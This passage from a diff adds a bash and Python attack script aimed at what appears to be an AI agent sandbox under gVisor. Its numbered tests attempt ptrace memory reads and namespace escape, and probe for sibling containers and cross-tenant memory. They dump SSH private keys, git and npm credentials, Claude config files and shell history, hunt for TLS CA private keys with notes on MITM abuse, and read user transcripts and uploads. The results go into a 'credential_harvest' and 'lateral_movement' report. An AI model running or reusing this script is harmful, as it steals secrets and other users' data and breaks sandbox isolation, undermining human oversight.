os.waitpid(pid, 0)
|
|
1177
|
+
|
|
1178
|
+
# Try to read memory
|
|
1179
|
+
try:
|
|
1180
|
+
# Read from stack area (environ)
|
|
1181
|
+
with open(f'/proc/{pid}/maps', 'r') as maps:
|
|
1182
|
+
for line in maps:
|
|
1183
|
+
if '[stack]' in line:
|
|
1184
|
+
addr = int(line.split('-')[0], 16)
|
|
1185
|
+
print(f"[*] Stack at 0x{addr:x}")
|
|
1186
|
+
|
|
1187
|
+
# Try to read
|
|
1188
|
+
data = libc.ptrace(PTRACE_PEEKDATA, pid, addr, 0)
|
|
1189
|
+
if data != -1:
|
|
1190
|
+
print(f"[+] Read data from stack: 0x{data:x}")
|
|
1191
|
+
break
|
|
1192
|
+
except Exception as e:
|
|
1193
|
+
print(f"[-] Memory read error: {e}")
|
|
1194
|
+
|
|
1195
|
+
# Detach
|
|
1196
|
+
libc.ptrace(PTRACE_DETACH, pid, 0, 0)
|
|
1197
|
+
print(f"[+] Detached from PID {pid}")
|
|
1198
|
+
else:
|
|
1199
|
+
errno = ctypes.get_errno()
|
|
1200
|
+
if errno == 1: # EPERM
|
|
1201
|
+
print(f"[-] Permission denied (even with CAP_SYS_ADMIN)")
|
|
1202
|
+
elif errno == 3: # ESRCH
|
|
1203
|
+
print(f"[-] Process not found")
|
|
1204
|
+
else:
|
|
1205
|
+
print(f"[-] Attach failed (errno {errno})")
|
|
1206
|
+
PYEOF
|
|
1207
|
+
PTRACE_SCRIPT
|
|
1208
|
+
)
|
|
1209
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$PTRACE_EXTRACT"
|
|
1210
|
+
|
|
1211
|
+
# Test 3: File permission bugs (CVE-2025-2713 style)
|
|
1212
|
+
FILE_PERM_TEST=$(cat << 'FILEPERM_SCRIPT' | bash 2>&1
|
|
1213
|
+
#!/bin/bash
|
|
1214
|
+
echo ""
|
|
1215
|
+
echo "=== FILE PERMISSION BUG TESTS (CVE-2025-2713 style) ==="
|
|
1216
|
+
echo ""
|
|
1217
|
+
|
|
1218
|
+
# Check for files readable due to race conditions
|
|
1219
|
+
echo "[*] Testing /proc/1/ access (init process)..."
|
|
1220
|
+
ls -la /proc/1/ 2>&1 | head -20
|
|
1221
|
+
|
|
1222
|
+
echo ""
|
|
1223
|
+
echo "[*] Attempting to read /proc/1/environ..."
|
|
1224
|
+
cat /proc/1/environ 2>&1 | tr '\0' '\n' | head -20
|
|
1225
|
+
|
|
1226
|
+
echo ""
|
|
1227
|
+
echo "[*] Attempting to read /proc/1/fd/..."
|
|
1228
|
+
ls -la /proc/1/fd/ 2>&1 | head -20
|
|
1229
|
+
|
|
1230
|
+
echo ""
|
|
1231
|
+
echo "[*] Attempting to read /proc/1/root/..."
|
|
1232
|
+
ls -la /proc/1/root/ 2>&1 | head -10
|
|
1233
|
+
|
|
1234
|
+
echo ""
|
|
1235
|
+
echo "[*] Reading /proc/1/maps (memory layout)..."
|
|
1236
|
+
cat /proc/1/maps 2>&1 | head -20
|
|
1237
|
+
|
|
1238
|
+
echo ""
|
|
1239
|
+
echo "[*] Checking /proc/1/mem access..."
|
|
1240
|
+
if [ -r /proc/1/mem ]; then
|
|
1241
|
+
echo "[!] /proc/1/mem is READABLE!"
|
|
1242
|
+
# Don't actually read it to avoid issues
|
|
1243
|
+
else
|
|
1244
|
+
echo "[-] /proc/1/mem not readable"
|
|
1245
|
+
fi
|
|
1246
|
+
|
|
1247
|
+
# Check for world-readable files in sensitive locations
|
|
1248
|
+
echo ""
|
|
1249
|
+
echo "[*] Checking for sensitive world-readable files..."
|
|
1250
|
+
find /etc /root /home -type f -perm -004 \( -name "*key*" -o -name "*secret*" -o -name "*token*" -o -name "*password*" -o -name "*cred*" \) 2>/dev/null | head -20
|
|
1251
|
+
|
|
1252
|
+
# Check if we can read other users' files
|
|
1253
|
+
echo ""
|
|
1254
|
+
echo "[*] Checking /home directory permissions..."
|
|
1255
|
+
ls -la /home/ 2>&1
|
|
1256
|
+
|
|
1257
|
+
# Try to access claude user's files
|
|
1258
|
+
echo ""
|
|
1259
|
+
echo "[*] Attempting to read /home/claude/ contents..."
|
|
1260
|
+
ls -la /home/claude/ 2>&1
|
|
1261
|
+
cat /home/claude/.bashrc 2>&1 | head -10
|
|
1262
|
+
cat /home/claude/.profile 2>&1 | head -10
|
|
1263
|
+
FILEPERM_SCRIPT
|
|
1264
|
+
)
|
|
1265
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$FILE_PERM_TEST"
|
|
1266
|
+
|
|
1267
|
+
# Test 4: Namespace-based data extraction
|
|
1268
|
+
NAMESPACE_EXTRACT=$(cat << 'NS_SCRIPT' | bash 2>&1
|
|
1269
|
+
#!/bin/bash
|
|
1270
|
+
echo ""
|
|
1271
|
+
echo "=== NAMESPACE DATA EXTRACTION ==="
|
|
1272
|
+
echo ""
|
|
1273
|
+
|
|
1274
|
+
# Try to enter other processes' namespaces
|
|
1275
|
+
echo "[*] Testing nsenter capabilities..."
|
|
1276
|
+
|
|
1277
|
+
# Find process_api's PID
|
|
1278
|
+
PROCESS_API_PID=$(pgrep -f "process_api" | head -1)
|
|
1279
|
+
if [ -n "$PROCESS_API_PID" ]; then
|
|
1280
|
+
echo "[+] Found process_api at PID $PROCESS_API_PID"
|
|
1281
|
+
|
|
1282
|
+
# Try to enter its namespaces
|
|
1283
|
+
echo "[*] Attempting nsenter..."
|
|
1284
|
+
nsenter -t $PROCESS_API_PID --mount --pid --net cat /proc/self/status 2>&1 | head -10
|
|
1285
|
+
|
|
1286
|
+
# Check if we can see its network
|
|
1287
|
+
nsenter -t $PROCESS_API_PID --net ss -tlnp 2>&1 | head -10
|
|
1288
|
+
fi
|
|
1289
|
+
|
|
1290
|
+
# Try to create a new mount namespace and access host files
|
|
1291
|
+
echo ""
|
|
1292
|
+
echo "[*] Testing mount namespace escape..."
|
|
1293
|
+
unshare --mount sh -c '
|
|
1294
|
+
# Try to remount /proc with new options
|
|
1295
|
+
mount -o remount,rw /proc 2>&1
|
|
1296
|
+
|
|
1297
|
+
# Try to access host filesystem via /proc/1/root
|
|
1298
|
+
echo "Contents of /proc/1/root/etc/passwd:"
|
|
1299
|
+
cat /proc/1/root/etc/passwd 2>&1 | head -5
|
|
1300
|
+
' 2>&1
|
|
1301
|
+
NS_SCRIPT
|
|
1302
|
+
)
|
|
1303
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$NAMESPACE_EXTRACT"
|
|
1304
|
+
|
|
1305
|
+
# Test 5: /proc/sys exploration for data leaks
|
|
1306
|
+
PROC_SYS_LEAK=$(cat << 'PROCSYS_SCRIPT' | bash 2>&1
|
|
1307
|
+
#!/bin/bash
|
|
1308
|
+
echo ""
|
|
1309
|
+
echo "=== /proc/sys DATA LEAKAGE ==="
|
|
1310
|
+
echo ""
|
|
1311
|
+
|
|
1312
|
+
# Check for readable sensitive kernel parameters
|
|
1313
|
+
echo "[*] Interesting readable kernel params:"
|
|
1314
|
+
cat /proc/sys/kernel/hostname 2>/dev/null && echo " ^ hostname"
|
|
1315
|
+
cat /proc/sys/kernel/domainname 2>/dev/null && echo " ^ domainname"
|
|
1316
|
+
cat /proc/sys/kernel/osrelease 2>/dev/null && echo " ^ osrelease"
|
|
1317
|
+
cat /proc/sys/kernel/version 2>/dev/null && echo " ^ version"
|
|
1318
|
+
|
|
1319
|
+
echo ""
|
|
1320
|
+
echo "[*] Network information leaks:"
|
|
1321
|
+
cat /proc/sys/net/ipv4/ip_local_port_range 2>/dev/null && echo " ^ port range"
|
|
1322
|
+
cat /proc/sys/net/core/somaxconn 2>/dev/null && echo " ^ max connections"
|
|
1323
|
+
|
|
1324
|
+
echo ""
|
|
1325
|
+
echo "[*] Checking /proc/net for network info..."
|
|
1326
|
+
cat /proc/net/tcp 2>/dev/null | head -10
|
|
1327
|
+
echo ""
|
|
1328
|
+
cat /proc/net/arp 2>/dev/null
|
|
1329
|
+
echo ""
|
|
1330
|
+
cat /proc/net/route 2>/dev/null
|
|
1331
|
+
|
|
1332
|
+
echo ""
|
|
1333
|
+
echo "[*] Checking for leaked credentials in /proc..."
|
|
1334
|
+
grep -r "password\|secret\|token\|key" /proc/*/environ 2>/dev/null | head -10
|
|
1335
|
+
PROCSYS_SCRIPT
|
|
1336
|
+
)
|
|
1337
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$PROC_SYS_LEAK"
|
|
1338
|
+
|
|
1339
|
+
# Test 6: CROSS-CONTAINER/CROSS-TENANT MEMORY ACCESS
|
|
1340
|
+
CROSS_TENANT_MEMORY=$(cat << 'CROSSTENANT_SCRIPT' | bash 2>&1
|
|
1341
|
+
#!/bin/bash
|
|
1342
|
+
echo ""
|
|
1343
|
+
echo "=== CROSS-CONTAINER MEMORY ACCESS ATTEMPT ==="
|
|
1344
|
+
echo ""
|
|
1345
|
+
|
|
1346
|
+
# Get our cgroup path
|
|
1347
|
+
OUR_CGROUP=$(cat /proc/self/cgroup 2>/dev/null | grep memory | cut -d: -f3)
|
|
1348
|
+
echo "[*] Our cgroup: $OUR_CGROUP"
|
|
1349
|
+
|
|
1350
|
+
# Navigate to parent cgroup directory
|
|
1351
|
+
CGROUP_BASE="/sys/fs/cgroup/memory"
|
|
1352
|
+
OUR_CONTAINER=$(echo "$OUR_CGROUP" | cut -d'/' -f2)
|
|
1353
|
+
echo "[*] Our container: $OUR_CONTAINER"
|
|
1354
|
+
|
|
1355
|
+
# Check if we can see the PARENT directory (where sibling containers live)
|
|
1356
|
+
PARENT_DIR="$CGROUP_BASE"
|
|
1357
|
+
echo ""
|
|
1358
|
+
echo "[*] Checking cgroup root for OTHER containers..."
|
|
1359
|
+
ls -la "$PARENT_DIR" 2>&1 | head -30
|
|
1360
|
+
|
|
1361
|
+
# Look for OTHER container directories (not ours)
|
|
1362
|
+
echo ""
|
|
1363
|
+
echo "[*] Looking for sibling containers..."
|
|
1364
|
+
for dir in "$PARENT_DIR"/*/; do
|
|
1365
|
+
dirname=$(basename "$dir")
|
|
1366
|
+
if [ "$dirname" != "$OUR_CONTAINER" ] && [[ "$dirname" == container_* ]]; then
|
|
1367
|
+
echo "[!!!] FOUND OTHER CONTAINER: $dirname"
|
|
1368
|
+
|
|
1369
|
+
# Try to read its memory stats
|
|
1370
|
+
echo " Memory usage:"
|
|
1371
|
+
cat "$dir/memory.usage_in_bytes" 2>/dev/null
|
|
1372
|
+
|
|
1373
|
+
# Try to list its processes
|
|
1374
|
+
echo " Processes:"
|
|
1375
|
+
cat "$dir/cgroup.procs" 2>/dev/null | head -5
|
|
1376
|
+
|
|
1377
|
+
# Check for subcgroups
|
|
1378
|
+
echo " Subcgroups:"
|
|
1379
|
+
ls "$dir" 2>/dev/null | grep -v "memory\." | head -10
|
|
1380
|
+
fi
|
|
1381
|
+
done
|
|
1382
|
+
|
|
1383
|
+
# Try to access cgroup v2 hierarchy
|
|
1384
|
+
echo ""
|
|
1385
|
+
echo "[*] Checking cgroup v2 hierarchy..."
|
|
1386
|
+
ls -la /sys/fs/cgroup/ 2>&1 | head -20
|
|
1387
|
+
|
|
1388
|
+
# Check for other containers in cgroup v2
|
|
1389
|
+
if [ -d /sys/fs/cgroup/system.slice ]; then
|
|
1390
|
+
echo ""
|
|
1391
|
+
echo "[*] system.slice containers:"
|
|
1392
|
+
ls /sys/fs/cgroup/system.slice/ 2>&1 | head -20
|
|
1393
|
+
fi
|
|
1394
|
+
|
|
1395
|
+
# Try to read /proc for ALL processes (cross-container)
|
|
1396
|
+
echo ""
|
|
1397
|
+
echo "[*] Checking for processes from OTHER containers..."
|
|
1398
|
+
for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$' | head -50); do
|
|
1399
|
+
# Get the cgroup of each process
|
|
1400
|
+
proc_cgroup=$(cat /proc/$pid/cgroup 2>/dev/null | grep memory | cut -d: -f3)
|
|
1401
|
+
proc_container=$(echo "$proc_cgroup" | cut -d'/' -f2)
|
|
1402
|
+
|
|
1403
|
+
# Is it from a DIFFERENT container?
|
|
1404
|
+
if [ -n "$proc_container" ] && [ "$proc_container" != "$OUR_CONTAINER" ] && [[ "$proc_container" == container_* ]]; then
|
|
1405
|
+
proc_cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ' | head -c 100)
|
|
1406
|
+
echo "[!!!] PID $pid from OTHER CONTAINER: $proc_container"
|
|
1407
|
+
echo " Command: $proc_cmd"
|
|
1408
|
+
|
|
1409
|
+
# Try to read its memory
|
|
1410
|
+
echo " Attempting to read /proc/$pid/maps..."
|
|
1411
|
+
cat /proc/$pid/maps 2>&1 | head -5
|
|
1412
|
+
|
|
1413
|
+
# Try to read its environ
|
|
1414
|
+
echo " Attempting to read /proc/$pid/environ..."
|
|
1415
|
+
cat /proc/$pid/environ 2>&1 | tr '\0' '\n' | head -5
|
|
1416
|
+
fi
|
|
1417
|
+
done
|
|
1418
|
+
|
|
1419
|
+
# Check /proc/1 (init) - whose init is it?
|
|
1420
|
+
echo ""
|
|
1421
|
+
echo "[*] Checking PID 1 (init) ownership..."
|
|
1422
|
+
cat /proc/1/cgroup 2>/dev/null
|
|
1423
|
+
echo ""
|
|
1424
|
+
echo "[*] PID 1 cmdline:"
|
|
1425
|
+
cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '
|
|
1426
|
+
|
|
1427
|
+
# Try to access host's cgroup namespace
|
|
1428
|
+
echo ""
|
|
1429
|
+
echo "[*] Attempting to access other cgroup namespaces..."
|
|
1430
|
+
ls -la /proc/1/ns/ 2>/dev/null
|
|
1431
|
+
|
|
1432
|
+
# Memory cgroup attack - try to list ALL memory cgroups
|
|
1433
|
+
echo ""
|
|
1434
|
+
echo "[*] All memory cgroups visible:"
|
|
1435
|
+
find /sys/fs/cgroup -name "memory.usage_in_bytes" 2>/dev/null | while read f; do
|
|
1436
|
+
parent=$(dirname "$f")
|
|
1437
|
+
if [[ "$parent" != *"$OUR_CONTAINER"* ]]; then
|
|
1438
|
+
usage=$(cat "$f" 2>/dev/null)
|
|
1439
|
+
if [ -n "$usage" ] && [ "$usage" -gt 0 ]; then
|
|
1440
|
+
echo "[!] $parent: $((usage / 1024 / 1024)) MB"
|
|
1441
|
+
fi
|
|
1442
|
+
fi
|
|
1443
|
+
done | head -20
|
|
1444
|
+
|
|
1445
|
+
# Check for shared memory segments (cross-process)
|
|
1446
|
+
echo ""
|
|
1447
|
+
echo "[*] Shared memory segments:"
|
|
1448
|
+
ipcs -m 2>/dev/null
|
|
1449
|
+
|
|
1450
|
+
# Check for message queues
|
|
1451
|
+
echo ""
|
|
1452
|
+
echo "[*] Message queues:"
|
|
1453
|
+
ipcs -q 2>/dev/null
|
|
1454
|
+
|
|
1455
|
+
# Check for semaphores
|
|
1456
|
+
echo ""
|
|
1457
|
+
echo "[*] Semaphores:"
|
|
1458
|
+
ipcs -s 2>/dev/null
|
|
1459
|
+
CROSSTENANT_SCRIPT
|
|
1460
|
+
)
|
|
1461
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$CROSS_TENANT_MEMORY"
|
|
1462
|
+
|
|
1463
|
+
# Test 7: Hidden Directory Deep Dive
|
|
1464
|
+
HIDDEN_DIR_EXTRACT=$(cat << 'HIDDEN_SCRIPT' | bash 2>&1
|
|
1465
|
+
#!/bin/bash
|
|
1466
|
+
echo ""
|
|
1467
|
+
echo "=== HIDDEN DIRECTORY DEEP DIVE ==="
|
|
1468
|
+
echo ""
|
|
1469
|
+
|
|
1470
|
+
# /root/.ssh - SSH Keys
|
|
1471
|
+
echo "=== /root/.ssh (SSH Keys) ==="
|
|
1472
|
+
if [ -d /root/.ssh ]; then
|
|
1473
|
+
ls -la /root/.ssh/
|
|
1474
|
+
|
|
1475
|
+
# Check for private keys
|
|
1476
|
+
for f in /root/.ssh/*; do
|
|
1477
|
+
if [ -f "$f" ]; then
|
|
1478
|
+
echo ""
|
|
1479
|
+
echo "[*] File: $f"
|
|
1480
|
+
head -5 "$f" 2>/dev/null
|
|
1481
|
+
if grep -q "PRIVATE KEY" "$f" 2>/dev/null; then
|
|
1482
|
+
echo "[!!!] PRIVATE KEY FOUND!"
|
|
1483
|
+
cat "$f"
|
|
1484
|
+
fi
|
|
1485
|
+
fi
|
|
1486
|
+
done
|
|
1487
|
+
|
|
1488
|
+
# Check known_hosts for infrastructure info
|
|
1489
|
+
if [ -f /root/.ssh/known_hosts ]; then
|
|
1490
|
+
echo ""
|
|
1491
|
+
echo "[*] known_hosts (infrastructure targets):"
|
|
1492
|
+
cat /root/.ssh/known_hosts
|
|
1493
|
+
fi
|
|
1494
|
+
|
|
1495
|
+
# Check authorized_keys
|
|
1496
|
+
if [ -f /root/.ssh/authorized_keys ]; then
|
|
1497
|
+
echo ""
|
|
1498
|
+
echo "[*] authorized_keys:"
|
|
1499
|
+
cat /root/.ssh/authorized_keys
|
|
1500
|
+
fi
|
|
1501
|
+
else
|
|
1502
|
+
echo "[-] /root/.ssh not accessible"
|
|
1503
|
+
fi
|
|
1504
|
+
|
|
1505
|
+
# /root/.claude - Claude-specific secrets!
|
|
1506
|
+
echo ""
|
|
1507
|
+
echo "=== /root/.claude (Claude Config - VERY INTERESTING!) ==="
|
|
1508
|
+
if [ -d /root/.claude ]; then
|
|
1509
|
+
echo "[!] .claude directory exists!"
|
|
1510
|
+
ls -laR /root/.claude/
|
|
1511
|
+
|
|
1512
|
+
# Read all files
|
|
1513
|
+
find /root/.claude -type f 2>/dev/null | while read f; do
|
|
1514
|
+
echo ""
|
|
1515
|
+
echo "[*] === $f ==="
|
|
1516
|
+
cat "$f" 2>/dev/null | head -100
|
|
1517
|
+
done
|
|
1518
|
+
else
|
|
1519
|
+
echo "[-] /root/.claude not found"
|
|
1520
|
+
fi
|
|
1521
|
+
|
|
1522
|
+
# /root/.config - Application configs
|
|
1523
|
+
echo ""
|
|
1524
|
+
echo "=== /root/.config (App Configs) ==="
|
|
1525
|
+
if [ -d /root/.config ]; then
|
|
1526
|
+
ls -la /root/.config/
|
|
1527
|
+
|
|
1528
|
+
# Look for interesting subdirectories
|
|
1529
|
+
for dir in /root/.config/*/; do
|
|
1530
|
+
echo ""
|
|
1531
|
+
echo "[*] Directory: $dir"
|
|
1532
|
+
ls -la "$dir" 2>/dev/null | head -10
|
|
1533
|
+
done
|
|
1534
|
+
|
|
1535
|
+
# Search for secrets in configs
|
|
1536
|
+
echo ""
|
|
1537
|
+
echo "[*] Searching for secrets in configs..."
|
|
1538
|
+
grep -r -i "api.key\|apikey\|secret\|token\|password\|credential" /root/.config/ 2>/dev/null | head -20
|
|
1539
|
+
else
|
|
1540
|
+
echo "[-] /root/.config not accessible"
|
|
1541
|
+
fi
|
|
1542
|
+
|
|
1543
|
+
# /root/.cache - Cached data
|
|
1544
|
+
echo ""
|
|
1545
|
+
echo "=== /root/.cache (Cached Data) ==="
|
|
1546
|
+
if [ -d /root/.cache ]; then
|
|
1547
|
+
ls -la /root/.cache/
|
|
1548
|
+
du -sh /root/.cache/* 2>/dev/null
|
|
1549
|
+
|
|
1550
|
+
# Look for pip/npm caches (could contain downloaded packages)
|
|
1551
|
+
if [ -d /root/.cache/pip ]; then
|
|
1552
|
+
echo ""
|
|
1553
|
+
echo "[*] pip cache:"
|
|
1554
|
+
ls -la /root/.cache/pip/ 2>/dev/null | head -10
|
|
1555
|
+
fi
|
|
1556
|
+
|
|
1557
|
+
# Look for cached credentials
|
|
1558
|
+
grep -r -i "token\|key\|secret" /root/.cache/ 2>/dev/null | head -10
|
|
1559
|
+
else
|
|
1560
|
+
echo "[-] /root/.cache not accessible"
|
|
1561
|
+
fi
|
|
1562
|
+
|
|
1563
|
+
# /home/claude hidden dirs
|
|
1564
|
+
echo ""
|
|
1565
|
+
echo "=== /home/claude Hidden Directories ==="
|
|
1566
|
+
ls -la /home/claude/.[!.]* 2>/dev/null
|
|
1567
|
+
|
|
1568
|
+
# Check .npm for tokens
|
|
1569
|
+
echo ""
|
|
1570
|
+
echo "[*] /home/claude/.npmrc (npm tokens):"
|
|
1571
|
+
cat /home/claude/.npmrc 2>/dev/null
|
|
1572
|
+
|
|
1573
|
+
# Check .config
|
|
1574
|
+
echo ""
|
|
1575
|
+
echo "[*] /home/claude/.config/:"
|
|
1576
|
+
ls -la /home/claude/.config/ 2>/dev/null
|
|
1577
|
+
|
|
1578
|
+
# Check for git credentials
|
|
1579
|
+
echo ""
|
|
1580
|
+
echo "[*] Git credentials:"
|
|
1581
|
+
cat /home/claude/.gitconfig 2>/dev/null
|
|
1582
|
+
cat /home/claude/.git-credentials 2>/dev/null
|
|
1583
|
+
cat /root/.gitconfig 2>/dev/null
|
|
1584
|
+
cat /root/.git-credentials 2>/dev/null
|
|
1585
|
+
|
|
1586
|
+
# Check for shell history
|
|
1587
|
+
echo ""
|
|
1588
|
+
echo "[*] Shell history:"
|
|
1589
|
+
cat /root/.bash_history 2>/dev/null | tail -50
|
|
1590
|
+
cat /home/claude/.bash_history 2>/dev/null | tail -50
|
|
1591
|
+
HIDDEN_SCRIPT
|
|
1592
|
+
)
|
|
1593
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$HIDDEN_DIR_EXTRACT"
|
|
1594
|
+
|
|
1595
|
+
# Test 7: Anthropic Certificate Analysis
|
|
1596
|
+
CERT_ANALYSIS=$(cat << 'CERT_SCRIPT' | bash 2>&1
|
|
1597
|
+
#!/bin/bash
|
|
1598
|
+
echo ""
|
|
1599
|
+
echo "=== ANTHROPIC CERTIFICATE ANALYSIS ==="
|
|
1600
|
+
echo ""
|
|
1601
|
+
|
|
1602
|
+
# Find Anthropic-specific certificates
|
|
1603
|
+
echo "[*] Anthropic TLS Inspection Certificates Found:"
|
|
1604
|
+
find /etc/ssl/certs -name "*swp*" -o -name "*anthropic*" 2>/dev/null | while read cert; do
|
|
1605
|
+
echo ""
|
|
1606
|
+
echo "=== $cert ==="
|
|
1607
|
+
|
|
1608
|
+
# Parse certificate details
|
|
1609
|
+
openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
|
|
1610
|
+
|
|
1611
|
+
echo ""
|
|
1612
|
+
echo "[*] Full certificate:"
|
|
1613
|
+
cat "$cert"
|
|
1614
|
+
done
|
|
1615
|
+
|
|
1616
|
+
# What can we do with these?
|
|
1617
|
+
echo ""
|
|
1618
|
+
echo "=== POTENTIAL CERTIFICATE ABUSE ==="
|
|
1619
|
+
echo ""
|
|
1620
|
+
echo "[!] These are Anthropic's TLS inspection CA certificates."
|
|
1621
|
+
echo "[!] They are used to MITM all HTTPS traffic from the sandbox."
|
|
1622
|
+
echo ""
|
|
1623
|
+
echo "Attack vectors:"
|
|
1624
|
+
echo "1. If we had the PRIVATE KEY, we could:"
|
|
1625
|
+
echo " - Decrypt all intercepted traffic"
|
|
1626
|
+
echo " - Create fake certificates for any domain"
|
|
1627
|
+
echo " - MITM other sandbox users"
|
|
1628
|
+
echo ""
|
|
1629
|
+
echo "2. With just the public certs, we can:"
|
|
1630
|
+
echo " - Understand Anthropic's proxy architecture"
|
|
1631
|
+
echo " - Identify the signing chain"
|
|
1632
|
+
echo " - Potentially find misconfigurations"
|
|
1633
|
+
echo ""
|
|
1634
|
+
|
|
1635
|
+
# Check if private keys exist anywhere
|
|
1636
|
+
echo "[*] Searching for private keys..."
|
|
1637
|
+
find / -name "*.key" -o -name "*private*" 2>/dev/null | grep -v "/proc\|/sys" | while read keyfile; do
|
|
1638
|
+
if [ -r "$keyfile" ] && grep -q "PRIVATE KEY" "$keyfile" 2>/dev/null; then
|
|
1639
|
+
echo "[!!!] PRIVATE KEY FOUND: $keyfile"
|
|
1640
|
+
head -5 "$keyfile"
|
|
1641
|
+
fi
|
|
1642
|
+
done
|
|
1643
|
+
|
|
1644
|
+
# Check for key files in common locations
|
|
1645
|
+
echo ""
|
|
1646
|
+
echo "[*] Checking common private key locations..."
|
|
1647
|
+
ls -la /etc/ssl/private/ 2>/dev/null
|
|
1648
|
+
ls -la /etc/pki/tls/private/ 2>/dev/null
|
|
1649
|
+
CERT_SCRIPT
|
|
1650
|
+
)
|
|
1651
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$CERT_ANALYSIS"
|
|
1652
|
+
|
|
1653
|
+
# Test 8: User transcript/data extraction
|
|
1654
|
+
USER_DATA_EXTRACT=$(cat << 'USERDATA_SCRIPT' | bash 2>&1
|
|
1655
|
+
#!/bin/bash
|
|
1656
|
+
echo ""
|
|
1657
|
+
echo "=== USER DATA EXTRACTION (IMPACT DEMONSTRATION) ==="
|
|
1658
|
+
echo ""
|
|
1659
|
+
|
|
1660
|
+
# This shows what a malicious package could steal
|
|
1661
|
+
echo "[*] Checking accessible user data directories..."
|
|
1662
|
+
|
|
1663
|
+
echo ""
|
|
1664
|
+
echo "=== /mnt/transcripts (Conversation History) ==="
|
|
1665
|
+
if [ -d /mnt/transcripts ]; then
|
|
1666
|
+
echo "[!] TRANSCRIPTS DIRECTORY ACCESSIBLE!"
|
|
1667
|
+
ls -la /mnt/transcripts/ 2>&1 | head -20
|
|
1668
|
+
echo ""
|
|
1669
|
+
echo "[*] Sample transcript content:"
|
|
1670
|
+
find /mnt/transcripts -type f -name "*.json" 2>/dev/null | head -1 | xargs cat 2>/dev/null | head -50
|
|
1671
|
+
fi
|
|
1672
|
+
|
|
1673
|
+
echo ""
|
|
1674
|
+
echo "=== /mnt/user-data/uploads (User Uploads) ==="
|
|
1675
|
+
if [ -d /mnt/user-data/uploads ]; then
|
|
1676
|
+
echo "[!] UPLOADS DIRECTORY ACCESSIBLE!"
|
|
1677
|
+
ls -la /mnt/user-data/uploads/ 2>&1 | head -20
|
|
1678
|
+
echo ""
|
|
1679
|
+
echo "[*] File types uploaded:"
|
|
1680
|
+
find /mnt/user-data/uploads -type f 2>/dev/null | xargs file 2>/dev/null | head -20
|
|
1681
|
+
fi
|
|
1682
|
+
|
|
1683
|
+
echo ""
|
|
1684
|
+
echo "=== /mnt/user-data/tool_results (Tool Results) ==="
|
|
1685
|
+
if [ -d /mnt/user-data/tool_results ]; then
|
|
1686
|
+
echo "[!] TOOL RESULTS ACCESSIBLE!"
|
|
1687
|
+
ls -la /mnt/user-data/tool_results/ 2>&1 | head -20
|
|
1688
|
+
fi
|
|
1689
|
+
|
|
1690
|
+
echo ""
|
|
1691
|
+
echo "=== Workspace Contents ==="
|
|
1692
|
+
WORKSPACE=$(find /home -maxdepth 3 -type d -name ".git" 2>/dev/null | head -1 | xargs dirname 2>/dev/null)
|
|
1693
|
+
if [ -n "$WORKSPACE" ]; then
|
|
1694
|
+
echo "[!] Found workspace at: $WORKSPACE"
|
|
1695
|
+
ls -la "$WORKSPACE" 2>&1 | head -20
|
|
1696
|
+
fi
|
|
1697
|
+
USERDATA_SCRIPT
|
|
1698
|
+
)
|
|
1699
|
+
GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$USER_DATA_EXTRACT"
|
|
1700
|
+
|
|
1701
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
1702
|
+
# GENERATE REPORTS
|
|
1703
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
1704
|
+
|
|
1705
|
+
# JSON Report
|
|
1706
|
+
cat > "$RESULTS" << EOF
|
|
1707
|
+
{
|
|
1708
|
+
"scan_metadata": {
|
|
1709
|
+
"timestamp": "$(date -Iseconds)",
|
|
1710
|
+
"our_ip": "$OUR_IP",
|
|
1711
|
+
"org_uuid": "$ORG_UUID"
|
|
1712
|
+
},
|
|
1713
|
+
"lateral_movement": {
|
|
1714
|
+
"other_containers_found": "$(echo -e "$OTHER_CONTAINERS" | tr '\n' ' ')",
|
|
1715
|
+
"other_proxies_found": "$(echo -e "$OTHER_PROXIES" | tr '\n' ' ')",
|
|
1716
|
+
"vulnerable_targets": "$(echo -e "$VULNERABLE_TARGETS" | tr '\n' ' ')"
|
|
1717
|
+
},
|
|
1718
|
+
"container_escape": {
|
|
1719
|
+
"privileged_indicators": "$PRIVILEGED_CHECK",
|
|
1720
|
+
"runtime_sockets": "$(echo -e "$RUNTIME_SOCKETS" | tr '\n' ' ')",
|
|
1721
|
+
"host_mounts": "$(echo -e "$HOST_MOUNTS" | tr '\n' ' ')",
|
|
1722
|
+
"cgroup_escape": "$CGROUP_ESCAPE",
|
|
1723
|
+
"cgroup_escape_attempt": $(echo "$CGROUP_ESCAPE_RESULT" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""'),
|
|
1724
|
+
"capabilities": "$CAP_DECODE",
|
|
1725
|
+
"sysadmin_exploits": $(echo -e "$SYSADMIN_EXPLOITS" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
|
|
1726
|
+
},
|
|
1727
|
+
"credential_harvest": {
|
|
1728
|
+
"data": $(echo -e "$CRED_HARVEST" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
|
|
1729
|
+
},
|
|
1730
|
+
"cross_tenant": {
|
|
1731
|
+
"filestore_traversal": $(echo -e "$FILESTORE_EXPLOIT" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""'),
|
|
1732
|
+
"filesystem_id": "$FILESYSTEM_ID"
|
|
1733
|
+
},
|
|
1734
|
+
"gvisor_escape_attempts": {
|
|
1735
|
+
"fuse_test": "See raw log",
|
|
1736
|
+
"ptrace_extraction": "See raw log",
|
|
1737
|
+
"file_permission_bugs": "See raw log",
|
|
1738
|
+
"user_data_extraction": "See raw log",
|
|
1739
